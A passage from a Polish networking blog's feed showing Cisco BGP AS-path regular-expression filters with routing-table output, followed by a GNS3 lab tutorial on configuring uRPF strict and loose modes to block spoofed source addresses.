r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i1.9.0.0/16       213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i1.32.0.0/17      213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i1.32.0.0/19      213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i1.32.32.0/19     213.144.128.173          2    150      0 <strong>4788</strong> i
*&gt;i1.32.64.0/18     213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i23.6.120.0/24    213.144.128.173          2    150      0 <strong>4788 </strong>i
*&gt;i23.13.192.0/20   213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i23.15.16.0/20    213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i23.51.32.0/20    213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i23.51.48.0/20    213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i23.197.60.0/23   213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i23.200.82.0/23   213.144.128.169          1    160      0 1273 <strong>4788</strong> i
*&gt;i23.201.156.0/22  213.144.128.169          1    160      0 1273 <strong>4788</strong> i
...
Total number of prefixes 402</span></pre>
<p><span style="color: #000000;"><strong><span style="font-size: 14pt;">3.</span></strong> Wyświetlenie wszystkich podsieci przechodzących przez AS46887</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp _46887_</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i5.11.28.0/24     213.144.128.216          1    150      0 6939 <strong>46887</strong> 36614 42705 i
*&gt;i5.61.116.0/23    213.144.128.216          1    150      0 6939 <strong>46887</strong> 199373 199373 199373 199373 199373 199373 199373 199373 199373 199373 i
*&gt;i8.2.68.0/24      213.144.128.216          1    150      0 6939 <strong>46887</strong> 396835 i
*&gt;i8.2.104.0/24     213.144.128.216          1    150      0 6939 <strong>46887</strong> 396487 396487 396487 396487 396487 i
*&gt;i8.11.166.0/24    213.144.128.216          1    150      0 6939 <strong>46887</strong> i
*&gt;i8.14.103.0/24    213.144.128.216          1    150      0 6939 <strong>46887</strong> 13817 i
*&gt;i8.14.121.0/24    213.144.128.216          1    150      0 6939 <strong>46887</strong> 12169 i
*&gt;i8.22.101.0/24    213.144.128.216          1    150      0 6939 <strong>46887</strong> 12220 i
*&gt;i8.28.55.0/24     213.144.128.216          1    150      0 6939 <strong>46887</strong> 394830 i
*&gt;i8.33.72.0/24     213.144.128.216          1    150      0 6939 <strong>46887</strong> 17158 17158 17158 17158 i
*&gt;i8.37.99.0/24     213.144.128.216          1    150      0 6939 <strong>46887</strong> 16491 i
*&gt;i8.44.200.0/24    213.144.128.216          1    150      0 6939 <strong>46887</strong> 25611 25611 25611 25611 25611 25611 i
...
Total number of prefixes 1537</span></pre>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>4.</strong></span> Wyświetlenie wszystkich podsieci, które są lokalnymi podsieciami routera</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp ^$</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i14.0.0.0         213.144.128.214          1     10      0 i
*&gt;i27.0.0.0         213.144.128.214          1     10      0 i
*&gt;i37.17.232.0/22   213.144.128.208          1    100      0 i
*&gt;i37.17.236.0/23   213.144.128.208          1    100      0 i
*&gt;i37.17.238.0/23   213.144.128.208          1    100      0 i
*&gt;i46.28.203.155/32 213.144.128.177          1    100      0 i
*&gt;i46.28.204.142/32 213.144.128.177          1    100      0 i
*&gt;i77.109.128.0/18  213.144.128.208          1    100      0 i
*&gt;i77.109.128.0/19  213.144.128.208          1    100      0 i
*&gt;i77.109.128.2/32  77.109.129.61            3    100      0 i
...
Total number of prefixes 127</span></pre>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>5.</strong> </span>wyświetlenie wszystkich podsieci tylko z bezpośrednio połączonych ASów</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp ^[0-9]+$</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i1.0.0.0/24       213.144.128.173          1    150      0 13335 i
*&gt;i1.1.1.0/24       213.144.128.173          1    150      0 13335 i
*&gt;i1.6.4.0/22       213.144.128.179          2    150      0 9583 i
*&gt;i1.6.6.0/24       213.144.128.179          2    150      0 9583 i
*&gt;i1.6.8.0/22       213.144.128.179          2    150      0 9583 i
*&gt;i1.6.12.0/22      213.144.128.179          2    150      0 9583 i
*&gt;i1.6.16.0/22      213.144.128.179          2    150      0 9583 i
*&gt;i1.6.20.0/22      213.144.128.179          2    150      0 9583 i
*&gt;i1.6.24.0/22      213.144.128.179          2    150      0 9583 i
*&gt;i1.6.28.0/22      213.144.128.179          2    150      0 9583 i
*&gt;i1.6.32.0/22      213.144.128.179          2    150      0 9583 i
*&gt;i1.6.36.0/22      213.144.128.179          2    150      0 9583 i
*&gt;i1.6.40.0/22      213.144.128.179          2    150      0 9583 i
...
Total number of prefixes 41787</span></pre>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>6.</strong></span> Wyświetlenie wszystkich podsieci osiągalnych przez AS6939</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp ^6939_</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i1.0.4.0/22       213.144.128.216          1    150      0 <strong>6939</strong> 4826 38803 56203 i
*&gt;i1.0.4.0/24       213.144.128.216          1    150      0 <strong>6939</strong> 4826 38803 56203 i
*&gt;i1.0.5.0/24       213.144.128.216          1    150      0 <strong>6939</strong> 4826 38803 56203 i
*&gt;i1.0.6.0/24       213.144.128.216          1    150      0 <strong>6939</strong> 4826 38803 56203 i
*&gt;i1.0.7.0/24       213.144.128.216          1    150      0 <strong>6939</strong> 4826 38803 56203 i
*&gt;i1.255.30.0/24    213.144.128.216          1    150      0 <strong>6939</strong> 63199 i
*&gt;i2.16.36.0/24     213.144.128.216          1    150      0 <strong>6939</strong> 7545 7545 7545 7545 2764 12222 12222 i
*&gt;i2.17.218.0/24    213.144.128.216          1    150      0 <strong>6939</strong> 7545 7545 7545 7545 2764 32787 i
*&gt;i2.18.52.0/24     213.144.128.216          1    150      0 <strong>6939</strong> 4826 20940 33905 i
...
Total number of prefixes 36028</span></pre>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>7.</strong> </span>Wyświetlenie wszystkich podsieci</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp .*</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i1.0.0.0/24       213.144.128.173          1    150      0 13335 i
*&gt;i1.0.4.0/22       213.144.128.216          1    150      0 6939 4826 38803 56203 i
*&gt;i1.0.4.0/24       213.144.128.216          1    150      0 6939 4826 38803 56203 i
*&gt;i1.0.5.0/24       213.144.128.216          1    150      0 6939 4826 38803 56203 i
*&gt;i1.0.6.0/24       213.144.128.216          1    150      0 6939 4826 38803 56203 i
*&gt;i1.0.7.0/24       213.144.128.216          1    150      0 6939 4826 38803 56203 i
*&gt;i1.0.16.0/24      213.144.128.221          2    150      0 2497 2519 i
*&gt;i1.0.64.0/18      213.144.128.221          2    150      0 2497 7670 18144 i
*&gt;i1.0.128.0/17     213.144.128.203          1     60      0 1299 38040 23969 i
*&gt;i1.0.128.0/18     213.144.128.203          1     60      0 1299 38040 23969 i
*&gt;i1.0.128.0/19     213.144.128.203          1     60      0 1299 38040 23969 i
*&gt;i1.0.128.0/24     213.144.128.203          1     60      0 1299 4809 38040 23969 ?
...
Total number of prefixes 695338</span></pre>
<p><span style="color: #000000;"><strong><span style="font-size: 14pt;">8.</span></strong> Wyświetlenie wszystkich podsieci które pochodzą z AS56201 i przechodzą przez AS18101</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp 18101_56201$</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i220.225.183.0    213.144.128.173          2    150      0 15412 <strong>18101</strong> <strong>56201</strong> i

Total number of prefixes 1</span></pre>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>9.</strong> </span>Wyświetlenie wszystkich podsieci które pochodzą z AS46164 lub z AS46163</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp _46164$|_46163$</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i4.23.88.0/24     213.144.128.184          1     60      0 1299 7018 <strong>46164</strong> i
*&gt;i4.23.89.0/24     213.144.128.184          1     60      0 1299 7018 <strong>46164</strong> i
*&gt;i4.23.92.0/23     213.144.128.184          1     60      0 1299 7018 <strong>46164</strong> i
*&gt;i107.117.80.0/20  213.144.128.184          1     60      0 1299 7018 <strong>46164</strong> i
*&gt;i107.239.64.0/20  213.144.128.184          1     60      0 1299 7018 <strong>46164</strong> i
*&gt;i107.250.192.0/19 213.144.128.184          1     60      0 1299 7018 <strong>46164</strong> i
*&gt;i107.250.224.0/19 213.144.128.184          1     60      0 1299 7018 <strong>46164</strong> i
*&gt;i141.160.4.0/22   213.144.128.203          1     60      0 1299 174 <strong>46163</strong> i
*&gt;i141.160.12.0/22  213.144.128.173          2    150      0 6461 1294 <strong>46163</strong> i
*&gt;i141.160.20.0/22  213.144.128.173          2    150      0 6461 1294 4616346163 46163 46163 <strong>46163</strong> i
*&gt;i141.160.25.0/24  213.144.128.203          1     60      0 1299 174 <strong>46163</strong> i
*&gt;i141.160.26.0/24  213.144.128.184          1     60      0 1299 7018 2687 <strong>46163</strong> i
*&gt;i141.160.27.0/24  213.144.128.203          1     60      0 1299 174 <strong>46163</strong> i
*&gt;i141.160.28.0/24  213.144.128.214          2    150      0 7473 3758 <strong>46163</strong> i
*&gt;i141.160.29.0/24  213.144.128.203          1     60      0 1299 174 <strong>46163</strong> I
...
Total number of prefixes 47</span></pre>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>10.</strong></span> Wyświetlenie wszystkich podsieci, których atrybut AS_Path posiada więcej niż raz AS396835, czyli gdzie została zastosowana technika AS Prepending</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp (396835_){2,}</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i140.102.0.0      213.144.128.216          1    150      0 6939 46887 <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> i
*&gt;i140.102.2.0/23   213.144.128.216          1    150      0 6939 46887 <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> i
*&gt;i192.80.85.0      213.144.128.216          1    150      0 6939 46887 <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> i
*&gt;i192.80.95.0      213.144.128.216          1    150      0 6939 46887 <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> i
*&gt;i192.138.225.0    213.144.128.216          1    150      0 6939 46887 <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> <strong>396835</strong> i

Total number of prefixes 5</span></pre>
<p><span style="color: #000000;"><span style="font-size: 14pt;"><strong>11.</strong> </span>Wyświetlenie wszystkich podsieci, które pochodzą z ASów trzy cyfrowych zaczynających się od 1,2 lub 3.</span><br />
<span style="color: #000000;">np. 312 , 123, 223 itp</span></p>
<p style="padding-left: 60px;"><span style="color: #000000;"><strong>show ip bgp regexp _[123].{2}$</strong></span></p>
<pre><span style="color: #000000;">BGP table version is 0, local router ID is 213.144.129.123
Status codes: s suppressed, d damped, h history, * valid, &gt; best, i - internal,
r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

Network          Next Hop            Metric LocPrf Weight Path
*&gt;i5.157.72.0/21    213.144.128.203          1     60      0 1299 <strong>174</strong> i
*&gt;i5.158.83.0/24    213.144.128.203          1     60      0 1299 <strong>174 </strong>i
*&gt;i5.178.16.0/21    213.144.128.203          1     60      0 1299 3257 <strong>260</strong> i
*&gt;i6.64.164.0/23    213.144.128.184          1     60      0 1299 209 721 27064 <strong>367</strong> i
*&gt;i8.25.217.0/24    213.144.128.173          2    150      0 6461 54756 <strong>100</strong> i
*&gt;i8.27.160.0/24    213.144.128.184          1     60      0 1299 <strong>209</strong> i
*&gt;i8.27.167.0/24    213.144.128.184          1     60      0 1299 <strong>209</strong> i
*&gt;i8.28.178.0/23    213.144.128.216          1    150      0 6939 2381 2381 <strong>103</strong> i
*&gt;i8.30.248.0/22    213.144.128.216          1    150      0 6939 2381 2381 <strong>103</strong> i
...
Total number of prefixes 6168</span></pre>
]]></content:encoded>
			</item>
		<item>
		<title>URPF &#8211; Unicast Reverse Path Forwarding</title>
		<link>https://kubsoo.github.io/rsnet-website/urpf-unicast-reverse-path-forwarding/</link>
		<comments>https://kubsoo.github.io/rsnet-website/urpf-unicast-reverse-path-forwarding/#respond</comments>
		<pubDate>Sun, 29 Jul 2018 10:59:47 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[GNS3]]></category>
		<category><![CDATA[urpf]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=1070</guid>
		<description><![CDATA[Unicast Reverse Path Forwarding (uRPF) &#8211; jest to technika stosowana w routerach Cisco (oraz u innych producentów), która umożliwia sprawdzenie czy źródło pakietu IP jest osiągalne przez tablice routingu. Zapobiega to&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-1070">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="23e21db" class="elementor-element elementor-element-23e21db elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="3f2c616" class="elementor-element elementor-element-3f2c616 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="87211c9" class="elementor-element elementor-element-87211c9 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><div style="text-align: justify;"><strong>Unicast Reverse Path Forwarding (uRPF)</strong> &#8211; jest to technika stosowana w routerach Cisco (oraz u innych producentów), która umożliwia sprawdzenie czy źródło pakietu IP jest osiągalne przez tablice routingu. Zapobiega to fałszowaniu adresów IP (<a href="https://pl.wikipedia.org/wiki/IP_spoofing" target="_blank" rel="noopener" title="">IP spoofing</a>). uRFP może działać w dwóch trybach: &#8222;ścisłym&#8221; i &#8222;luźnym&#8221; </div><div>&#8211; strict mode</div><div>&#8211; loose mode</div><div> </div><div><b>STRICT MODE</b></div><div style="text-align: justify;"><span style="background-color: initial;">W trybie ścisłym router sprawdza czy źródłowy adres ip  pakietu otrzymanego na danym interfejsie, jest osiągalny przez router na postawie tablicy CEF FIB przez interfejs z którego przyszedł pakiet, jeśli nie to pakiet jest odrzucany.</span></div><div><span style="background-color: initial;"> </span></div><div><strong>LOOSE MODE</strong></div><div><div style="text-align: justify;">W trybie luźnym w przeciwieństwie do trybu ścisłego router sprawdza czy źródłowy adres ip pakietu otrzymanego na danym interfejsie jest osiągalny przez router na podstawie tablicy CEF FIB przez jakikolwiek z jego interfejsów.</div><div style="text-align: justify;"> </div></div></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="9dc0e5c" class="elementor-element elementor-element-9dc0e5c elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="871a84f" class="elementor-element elementor-element-871a84f elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="7302ba2" class="elementor-element elementor-element-7302ba2 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><b>PRZYKŁAD:</b></p><p style="text-align: justify;">W celu zademonstrowania działania mechanizmu uRPF w routerach CISCO posłużę się następując topologią zbudowaną w GNS3</p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="954de52" class="elementor-element elementor-element-954de52 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="b502cc9" class="elementor-element elementor-element-b502cc9 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="f62ad97" class="elementor-element elementor-element-f62ad97 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/07/urpf_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title="">
							<img width="496" height="373" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/07/urpf_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/07/urpf_1.png 496w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/07/urpf_1-300x226.png 300w" sizes="(max-width: 496px) 100vw, 496px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="1d92074" class="elementor-element elementor-element-1d92074 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="b410b8c" class="elementor-element elementor-element-b410b8c elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="b8c3b9b" class="elementor-element elementor-element-b8c3b9b elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p>Konfiguracja wygląda następująco:</p><p>R1</p><pre style="-en-clipboard: true;"><span style="background-color: initial;">interface FastEthernet0/0</span><br />  ip address 192.168.12.1 255.255.255.0<br />  ip verify unicast source reachable-via rx<br />  duplex full<br />!<br />interface FastEthernet1/0<br />  ip address 192.168.13.1 255.255.255.0<br />  duplex full<br />!<br />router ospf 1<br />  network 192.168.0.0 0.0.255.255 area 0</pre><div><p>R2</p><pre>interface Loopback0<br />  ip address 3.3.3.3 255.255.255.255<br />!<br />interface FastEthernet0/0<br />  ip address 192.168.12.2 255.255.255.0<br />  duplex full<br />!<br />interface FastEthernet1/0<br />  ip address 192.168.23.2 255.255.255.0<br />  duplex full<br />!<br />router ospf 1<br />  network 192.168.0.0 0.0.255.255 area 0</pre></div><p>R3</p><pre style="-en-clipboard: true;">interface Loopback0<br />  ip address 3.3.3.3 255.255.255.255<br />!<br />interface FastEthernet0/0<br />  ip address 192.168.13.3 255.255.255.0<br />  duplex full<br />!<br />interface FastEthernet1/0<br />  ip address 192.168.23.3 255.255.255.0<br />  duplex full<br />!<br />router ospf 1<br />  network 3.3.3.3 0.0.0.0 area 0<br />  network 192.168.0.0 0.0.255.255 area 0</pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="2f65248" class="elementor-element elementor-element-2f65248 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="17a51af" class="elementor-element elementor-element-17a51af elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="720b4ae" class="elementor-element elementor-element-720b4ae elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;">Sprawdźmy teraz jak wygląda tablica routingu na routerze R1.</p><pre>R1# show ip route<br /><br />      3.0.0.0/32 is subnetted, 1 subnets<br />O        3.3.3.3 [110/2] via 192.168.13.3, 00:06:01, FastEthernet1/0<br />      192.168.12.0/24 is variably subnetted, 2 subnets, 2 masks<br />C        192.168.12.0/24 is directly connected, FastEthernet0/0<br />L        192.168.12.1/32 is directly connected, FastEthernet0/0<br />      192.168.13.0/24 is variably subnetted, 2 subnets, 2 masks<br />C        192.168.13.0/24 is directly connected, FastEthernet1/0<br />L        192.168.13.1/32 is directly connected, FastEthernet1/0<br />O     192.168.23.0/24 [110/2] via 192.168.13.3, 00:14:33, FastEthernet1/0<br />                      [110/2] via 192.168.12.2, 00:14:33, FastEthernet0/0</pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="109ac1d" class="elementor-element elementor-element-109ac1d elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e88f338" class="elementor-element elementor-element-e88f338 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="b6f5be7" class="elementor-element elementor-element-b6f5be7 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;">Jak widać na powyższym wyniku prefix 3.3.3.3 jest osiągalny przez interfejs FastEthernet1/0, czyli interfejsu podłączonego do routera R3. Teraz ustawmy uRPF w trybie strict na interfejsach routera R1.</p><pre>interface FastEthernet0/0<br />  ip verify unicast source reachable-via rx<br />!<br />interface FastEthernet1/0<br />  ip verify unicast source reachable-via rx</pre><p style="text-align: justify;">Przetestujmy działanie tego mechanizmu. Z routera R3 spingujmy router R1 i zobaczmy co się stanie.</p><pre>R3#ping 192.168.13.1 source 3.3.3.3<br />Type escape sequence to abort.<br />Sending 5, 100-byte ICMP Echos to 192.168.13.1, timeout is 2 seconds:<br />Packet sent with a source address of 3.3.3.3<br />!!!!!<br />Success rate is 100 percent (5/5), round-trip min/avg/max = 36/46/56 ms</pre><p style="text-align: justify;">Jak widać wszystko przebiegło bez zarzutów, ponieważ pakiet przyszedł przez interfejs FastEthernet1/0, czyli zgodnie z tablicą CEF FIB:</p><pre>R1#show ip cef 3.3.3.3<br />3.3.3.3/32<br />nexthop 192.168.13.3 FastEthernet1/0</pre><p>Sprawdzić działanie uRPF możemy wykonując polecenie:</p><pre>R1#show ip int fa0/0 | in verif<br />IP verify source reachable-via RX<br />0 verification drops<br />0 suppressed verification drops<br />0 verification drop-rate</pre><p style="text-align: justify;">Jak widać mechanizm nie odrzucił pakietów, ponieważ założenia trybu ścisłego zostały spełnione.</p><p style="text-align: justify;">Teraz spróbujmy wysłać pakiet z adresem źródłowym 3.3.3.3 przez interfejs FastEthernet0/0. Najprościej jest to zrobić z routera R2, w tym celu dodajmy interfejs Loopback0 z adresem 3.3.3.3/32 i wykonajmy polecenie ping:</p><pre>R2(config)#int Loopback 0<br />R2(config-if)#ip address 3.3.3.3 255.255.255.255<br />R2(config-if)#do ping 192.168.12.1 source 3.3.3.3<br />Type escape sequence to abort.<br />Sending 5, 100-byte ICMP Echos to 192.168.12.1, timeout is 2 seconds:<br />Packet sent with a source address of 3.3.3.3<br />.....<br />Success rate is 0 percent (0/5)
</pre><p style="text-align: justify;">Nie otrzymaliśmy odpowiedzi, sprawdźmy więc czy rzeczywiście mechanizm zadziałał:</p><pre>R1#show ip int fa0/0 | in verif<br />IP verify source reachable-via RX<br /><strong>5 verification drops</strong><br />0 suppressed verification drops<br />0 verification drop-rate</pre><p>Teraz sprawdźmy jak działa tryb luźy (loose mode). Zmieńmy konfiguracje intefejsów na R1:</p><pre>interface FastEthernet0/0<br />  ip verify unicast source reachable-via any<br />!<br />interface FastEthernet1/0<br />  ip verify unicast source reachable-via any</pre><p style="text-align: justify;">i spróbujmy wykonać jeszcze raz polecenie ping na routerze R2:</p><pre>R2#ping 192.168.12.1 source 3.3.3.3<br />Type escape sequence to abort.<br />Sending 5, 100-byte ICMP Echos to 192.168.12.1, timeout is 2 seconds:<br />Packet sent with a source address of 3.3.3.3<br />.....<br />Success rate is 0 percent (0/5)</pre><p style="text-align: justify;">Hmm, nie otrzymaliśmy odpowiedzi, czyli wynik jest taki sam jak w przypadku trybu strict, sprawdźmy to dla pewności:</p><pre>R1#show ip int fa0/0 | in verif<br />IP verify source reachable-via ANY<br />5 verification drops<br /><strong>5 suppressed verification drops</strong><br />0 verification drop-rate</pre><p style="text-align: justify;">Wynik powyższej komendy jest jednak inny niż w przypadku trybu strict. Sugeruje to, że pakiety nie zostały odrzucone i powinniśmy dostać odpowiedzi, dlaczego więc się tak nie stało ?</p><p style="text-align: justify;">Odpowiedź jest bardzo prosta (IP spoofing), ponieważ na R2 sfałszowaliśmy adres źródłowy (3.3.3.3), router R1 odesłał odpowiedzi do tego adresu, zgodnie ze swoją tablicą routingu, czyli do R3. Wykonajmy jeszcze raz to samo polecenie ping, ale włączmy tym razem debugowanie pakietów icmp na routerze R3:</p><pre>R3#debug ip icmp<br />R3#<br />*Jul 29 10:38:02.111: ICMP: echo reply rcvd, src 192.168.12.1, dst 3.3.3.3, topology BASE, dscp 0 topoid 0<br />R3#<br />*Jul 29 10:38:04.131: ICMP: echo reply rcvd, src 192.168.12.1, dst 3.3.3.3, topology BASE, dscp 0 topoid 0<br />R3#<br />*Jul 29 10:38:06.079: ICMP: echo reply rcvd, src 192.168.12.1, dst 3.3.3.3, topology BASE, dscp 0 topoid 0<br />R3#<br />*Jul 29 10:38:07.967: ICMP: echo reply rcvd, src 192.168.12.1, dst 3.3.3.3, topology BASE, dscp 0 topoid 0
</pre><p style="text-align: justify;">Czyli wszystko działa tak jak należy <img src="https://s.w.org/images/core/emoji/11/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="b09d994" class="elementor-element elementor-element-b09d994 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d2f45b6" class="elementor-element elementor-element-d2f45b6 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="4fde260" class="elementor-element elementor-element-4fde260 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
